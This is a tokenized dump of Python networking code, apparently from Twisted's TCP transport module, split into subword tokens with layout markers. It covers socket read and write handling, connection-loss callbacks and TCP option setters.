"Read_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Calls", " ", "self", ".", "protoc", "ol", ".", "data", "Receive", "d", " ", "with", " ", "all", " ", "avail", "able", " ", "data", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "reads", " ", "up", " ", "to", " ", "self", ".", "buffer", "Size", " ", "bytes", " ", "of", " ", "data", " ", "from", " ", "its", " ", "socket", ",", " ", "then", "\\", "10", ";", " ", " ", " ", " ", "calls", " ", "self", ".", "data", "Receive", "d", "(", "data", ")", " ", "to", " ", "process", " ", "it", ".", " ", " ", "If", " ", "the", " ", "connecti", "on", " ", "is", " ", "not", "\\", "10", ";", " ", " ", " ", " ", "lost", " ", "through", " ", "an", " ", "error", " ", "in", " ", "the", " ", "physical", " ", "recv", "()", ",", " ", "this", " ", "function", " ", "will", " ", "return", "\\", "10", ";", " ", " ", " ", " ", "the", " ", "result", " ", "of", " ", "the", " ", "data", "Receive", "d", " ", "call", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "self_", "._", "socket_", "._", "recv_", "(_", "self_", "._", "buffer", "Size_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", ",_", "se_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "se_", "._", "args_", "[_", "0_", "]_", "==_", "EW", "OU", "LDB", "LOCK_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "main_", "._", "CONNECTION", "\\u", "LOS", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "data", "Received_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "data", "Received_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "main_", "._", "CONNECTION", "\\u", "DONE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "rval_", "=_", "self_", "._", "protocol_", "._", "data", "Received_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "rval_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offen", "der_", "=_", "self_", "._", "protocol_", "._", "data", "Received_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "warn", "ing", "Format_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'", "Return", "ing", " ", "a", " ", "value", " ", "other", " ", "than", " ", "Non", "e", " ", "from", " ", "%", "(", "fq", "pn", ")", "s", " ", "is", " ", "'_", "\\u\\u\\uNL\\u\\u\\u_", "'", "depre", "cated", " ", "sinc", "e", " ", "%", "(", "version", ")", "s", ".'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "warn", "ing", "String_", "=_", "depre", "cate", "_", "._", "get", "Dep", "reca", "tion", "Warn", "ing", "String_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "offen", "der_", ",_", "versions_", "._", "Version_", "(_", "'", "Twi", "sted", "'_", ",_", "11_", ",_", "0_", ",_", "0_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "format_", "=_", "warn", "ing", "Format_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "depre", "cate", "_", "._", "warn", "Abo", "ut", "Function_", "(_", "offen", "der_", ",_", "warn", "ing", "String_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "rval_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "write", "Some", "Data_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Write", " ", "as", " ", "muc", "h", " ", "as", " ", "possib", "le", " ", "of", " ", "the", " ", "give", "n", " ", "data", " ", "to", " ", "this", " ", "TC", "P", " ", "connecti", "on", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "send", "s", " ", "up", " ", "to", " ", "C", "{", "self", ".", "SEND", "\\u", "LIMIT", "}", " ", "bytes", " ", "from", " ", "C", "{", "data", "}.", " ", " ", "If", " ", "the", "\\", "10", ";", " ", " ", " ", " ", "connecti", "on", " ", "is", " ", "lost", ",", " ", "an", " ", "exception", " ", "is", " ", "return", "ed", ".", " ", " ", "Ot", "her", "wis", "e", ",", " ", "the", " ", "number", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "bytes", " ", "success", "full", "y", " ", "writt", "en", " ", "is", " ", "return", "ed", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Limit", " ", "length", " ", "of", " ", "buffer", " ", "to", " ", "try", " ", "to", " ", "send", ",", " ", "bec", "aus", "e", " ", "some", " ", "OS", "es", " ", "are", " ", "too", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "stu", "pid", " ", "to", " ", "do", " ", "so", " ", "them", "sel", "ves", " ", "(", "ahe", "m", " ", "windows", ")_", "\\u\\u\\uNL\\u\\u\\u_", "limited", "Data_", "=_", "buffer_", "(_", "data_", ",_", "0_", ",_", "self_", "._", "SEND", "\\u", "LIMIT_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "unti", "l", "Conc", "lud", "es_", "(_", "self_", "._", "socket_", "._", "send_", ",_", "limited", "Data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", ",_", "se_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "se_", "._", "args_", "[_", "0_", "]_", "in_", "(_", "EW", "OU", "LDB", "LOCK_", ",_", "ENO", "BUF", "S_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "main_", "._", "CONNECTION", "\\u", "LOS", "T_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "close", "Write", "Connection_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "getattr_", "(_", "self_", "._", "socket_", ",_", "self_", "._", "\\u", "socket", "Shut", "down", "Method_", ")_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "socket_", "._", "error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "=_", "interfaces_", "._", "IH", "alf", "Clos", "eab", "le", "Protocol_", "(_", "self_", "._", "protocol_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "._", "write", "Connect", "ion", "Lost", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "f_", "=_", "failure_", "._", "Failure_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "._", "err_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "connecti", "on", "Lost", "_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "read", "Connect", "ion", "Lost", "_", "(_", "self_", ",_", "reason_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "interfaces_", "._", "IH", "alf", "Clos", "eab", "le", "Protocol_", "(_", "self_", "._", "protocol_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "p_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "._", "read", "Connect", "ion", "Lost", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "err_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "connecti", "on", "Lost", "_", "(_", "failure_", "._", "Failure_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "connecti", "on", "Lost", "_", "(_", "reason_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "connecti", "on", "Lost", "_", "(_", "self_", ",_", "reason_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "See", " ", "abstract", ".", "File", "Descrip", "tor", ".", "connecti", "on", "Lost", "()", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Make", " ", "sure", " ", "we", "'", "re", " ", "not", " ", "call", "ed", " ", "twi", "ce", ",", " ", "whi", "ch", " ", "can", " ", "happ", "en", " ", "e", ".", "g", ".", " ", "if_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "abort", "Connect", "ion", "()", " ", "is", " ", "call", "ed", " ", "from", " ", "protoc", "ol", "'", "s", " ", "data", "Receive", "d", " ", "and", " ", "then_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "code", " ", "immediate", "ly", " ", "after", " ", "throw", "s", " ", "an", " ", "exception", " ", "tha", "t", " ", "reache", "s", " ", "the_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "react", "or", ".", " ", "We", " ", "can", "'", "t", " ", "rely", " ", "on", " ", "\"", "disconnected", "\"", " ", "attribute", " ", "for", " ", "this", " ", "check_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "sinc", "e", " ", "twist", "ed", ".", "interne", "t", ".\\u", "old", "tls", " ", "doe", "s", " ", "evil", " ", "thing", "s", " ", "to", " ", "it", ":_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "hasattr_", "(_", "self_", ",_", "\"", "socket", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "abstract_", "._", "File", "Descriptor_", "._", "connecti", "on", "Lost", "_", "(_", "self_", ",_", "reason_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "close", "Socket_", "(_", "not_", "reason_", "._", "check_", "(_", "error_", "._", "Connect", "ion", "Abo", "rted", "_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "protocol_", "=_", "self_", "._", "protocol_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "self_", "._", "protocol_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "self_", "._", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "del_", "self_", "._", "fileno_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "protocol_", "._", "connecti", "on", "Lost", "_", "(_", "reason_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "log", "Prefix_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "the", " ", "prefix", " ", "to", " ", "log", " ", "with", " ", "whe", "n", " ", "I", " ", "own", " ", "the", " ", "logg", "ing", " ", "thread", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "logst", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Tc", "p", "No", "Delay_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "operator_", "._", "truth_", "(_", "self_", "._", "socket_", "._", "gets", "ock", "opt_", "(_", "socket_", "._", "IPP", "ROTO", "\\u", "TCP_", ",_", "socket_", "._", "TC", "P", "\\u", "NODE", "LA", "Y_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Tc", "p", "No", "Delay_", "(_", "self_", ",_", "enabled_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "socket_", "._", "setsockopt_", "(_", "socket_", "._", "IPP", "ROTO", "\\u", "TCP_", ",_", "socket_", "._", "TC", "P", "\\u", "NODE", "LA", "Y_", ",_", "enabled_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "Tc", "p", "Keep", "Alive_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "operator_", "._", "truth_", "(_", "self_", "._", "socket_", "._", "gets", "ock", "opt_", "(_", "socket_", "._", "SOL", "\\u", "SOCKET_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "socket_", "._", "SO", "\\u", "KEEP", "ALI", "VE_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Connection_", "(_", "\\u", "TLS", "Connect", "ion", "Mixin_", ",_", "abstract_", "._", "File", "Descriptor_", ",_", "\\u", "Sock", "et", "Clos", "er_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "Abo", "rti", "ng", "Mixin_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set", "Tc", "p", "Keep", "Alive_", "(_", "self_", ",_", "enabled_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "socket_", "._", "setsockopt_", "(_", "socket_", "._", "SOL", "\\u", "SOCKET_", ",_", "socket_", "._", "SO", "\\u", "KEEP", "ALI", "VE_", ",_", "enabled_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "\\u", "Base", "Base", "Client_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Code", " ", "shared", " ", "with", " ", "other", " ", "(", "non", "-", "POSI", "X", ")", " ", "react", "ors", " ", "for", " ", "manage", "ment", " ", "of", " ", "genera", "l", "\\", "10", ";", " ", " ", " ", " ", "outgoing", " ", "connections", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Requirements", " ", "upo", "n", " ", "subclasses", " ", "are", " ", "documente", "d", " ", "as", " ", "instance", " ", "variab", "les", " ", "rat", "her", "\\", "10", ";", " ", " ", " ", " ", "than", " ", "abstract", " ", "method", "s", ",", " ", "in", " ", "order", " ", "to", " ", "avoid", " ", "MR", "O", " ", "confusion", ",", " ", "sinc", "e", " ", "this", " ", "base", " ", "is", "\\", "10", ";", " ", " ", " ", " ", "mixed", " ", "in", " ", "to", " ", "unfo", "rtu", "nat", "el", "y", " ", "weird", " ", "and", " ", "distinct", "ive", " ", "multiple", "-", "inherita", "nce", "\\", "10", ";", " ", " ", " ", " ", "hier", "archi", "es", " ", "and", " ", "many", " ", "of", " ", "these", " ", "attribute", "s", " ", "are", " ", "provided", " ", "by", " ", "peer", " ", "classe", "s", "\\", "10", ";", " ", " ", " ", " ", "rat", "her", " ", "than", " ", "descendant", " ", "classe", "s", " ", "in", " ", "tho", "se", " ", "hier", "archi", "es", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "address", "Famil", "y", ":", " ", "The", " ", "address", " ", "famil", "y", " ", "constant", " ", "(", "C", "{", "socket", ".", "AF", "\\u", "INE", "T", "},", "\\", "10", ";", " ", " ", " ", " ", "C", "{", "socket", ".", "AF", "\\u", "INE", "T6", "},", " ", "C", "{", "socket", ".", "AF", "\\u", "UNIX", "})", " ", "of", " ", "the", " ", "underl", "ying", " ", "socket", " ", "of", " ", "this", "\\", "10", ";", " ", " ", " ", " ", "client", " ", "connecti", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "address", "Famil", "y", ":", " ", "C", "{", "int", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "socket", "Type", ":", " ", "The", " ", "socket", " ", "type", " ", "constant", " ", "(", "C", "{", "socket", ".", "SOCK", "\\u", "STRE", "AM", "}", " ", "or", "\\", "10", ";", " ", " ", " ", " ", "C", "{", "socket", ".", "SOCK", "\\u", "DG", "RAM", "})", " ", "of", " ", "the", " ", "underl", "ying", " ", "socket", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "socket", "Type", ":", " ", "C", "{", "int", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "\\u", "require", "s", "Reso", "luti", "on", ":", " ", "A", " ", "flag", " ", "indicati", "ng", " ", "whe", "ther", " ", "the", " ", "address", " ", "of", " ", "this", "\\", "10", ";", " ", " ", " ", " ", "client", " ", "will", " ", "require", " ", "name", " ", "resolu", "tion", ".", " ", " ", "C", "{", "Tru", "e", "}", " ", "if", " ", "the", " ", "host", "name", " ", "of", " ", "sai", "d", "\\", "10", ";", " ", " ", " ", " ", "address", " ", "indicat", "es", " ", "a", " ", "name", " ", "tha", "t", " ", "must", " ", "be", " ", "resolve", "d", " ", "by", " ", "host", "name", " ", "look", "up", ",", "\\", "10", ";", " ", " ", " ", " ", "C", "{", "Fal", "se", "}", " ", "if", " ", "it", " ", "indicat", "es", " ", "an", " ", "IP", " ", "address", " ", "literal", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "\\u", "require", "s", "Reso", "luti", "on", ":", " ", "C", "{", "bool", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "cvar", " ", "\\u", "common", "Connect", "ion", ":", " ", "Subc", "lasse", "s", " ", "must", " ", "provide", " ", "this", " ", "attribute", ",", " ", "whi", "ch", "\\", "10", ";", " ", " ", " ", " ", "indicat", "es", " ", "the", " ", "L", "{", "Connect", "ion", "}-", "ali", "ke", " ", "class", " ", "to", " ", "invoke", " ", "C", "{\\u\\u", "init", "\\u\\u}", " ", "and", "\\", "10", ";", " ", " ", " ", " ", "C", "{", "connecti", "on", "Lost", "}", " ", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "\\u", "common", "Connect", "ion", ":", " ", "C", "{", "type", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "\\u", "stop", "Reading", "And", "Writ", "ing", ":", " ", "Subc", "lasse", "s", " ", "must", " ", "implement", " ", "in", " ", "order", " ", "to", " ", "remove", "\\", "10", ";", " ", " ", " ", " ", "this", " ", "transport", " ", "from", " ", "its", " ", "react", "or", "'", "s", " ", "notification", "s", " ", "in", " ", "response", " ", "to", " ", "a", "\\", "10", ";", " ", " ", " ", " ", "terminate", "d", " ", "connecti", "on", " ", "atte", "mpt", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "\\u", "stop", "Reading", "And", "Writ", "ing", ":", " ", "0", "-", "argu", "ment", " ", "calla", "ble", " ", "return", "ing", " ", "C", "{", "Non", "e", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "\\u", "close", "Sock", "et", ":", " ", "Subc", "lasse", "s", " ", "must", " ", "implement", " ", "in", " ", "order", " ", "to", " ", "close", " ", "the", " ", "socket", "\\", "10", ";", " ", " ", " ", " ", "in", " ", "response", " ", "to", " ", "a", " ", "terminate", "d", " ", "connecti", "on", " ", "atte", "mpt", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "\\u", "close", "Sock", "et", ":", " ", "1", "-", "argu", "ment", " ", "calla", "ble", ";", " ", "see", " ", "L", "{\\u", "Sock", "et", "Clos", "er", ".\\u", "close", "Sock", "et", "}", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "\\u", "collect", "Sock", "et", "Det", "ail", "s", ":", " ", "Clean", " ", "up", " ", "reference", "s", " ", "to", " ", "the", " ", "attache", "d", " ", "socket", " ", "in", "\\", "10", ";", " ", " ", " ", " ", "its", " ", "underl", "ying", " ", "OS", " ", "resource", " ", "(", "suc", "h", " ", "as", " ", "a", " ", "file", " ", "descrip", "tor", " ", "or", " ", "file", " ", "handle", "),", "\\", "10", ";", " ", " ", " ", " ", "as", " ", "part", " ", "of", " ", "post", " ", "connecti", "on", "-", "fail", "ure", " ", "clean", "up", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "\\u", "collect", "Sock", "et", "Det", "ail", "s", ":", " ", "0", "-", "argu", "ment", " ", "calla", "ble", " ", "return", "ing", " ", "C", "{", "Non", "e", "}.", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "react", "or", ":", " ", "The", " ", "class", " ", "point", "ed", " ", "to", " ", "by", " ", "C", "{\\u", "common", "Connect", "ion", "}", " ", "shou", "ld", " ", "set", " ", "this", "\\", "10", ";", " ", " ", " ", " ", "attribute", " ", "in", " ", "its", " ", "construct", "or", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "react", "or", ":", " ", "L", "{", "twist", "ed", ".", "interne", "t", ".", "interface", "s", ".", "IR", "eac", "tor", "Time", "},", "\\", "10", ";", " ", " ", " ", " ", "L", "{", "twist", "ed", ".", "interne", "t", ".", "interface", "s", ".", "IR", "eac", "tor", "Core", "},", "\\", "10", ";", " ", " ", " ", " ", "L", "{", "twist", "ed", ".", "interne", "t", ".", "interface", "s", ".", "IR", "eac", "tor", "FD", "Set", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "address", "Family_", "=_", "socket_", "._", "AF", "\\u", "INET_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "socket", "Type_", "=_", "socket_", "._", "SOCK", "\\u", "STREAM_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 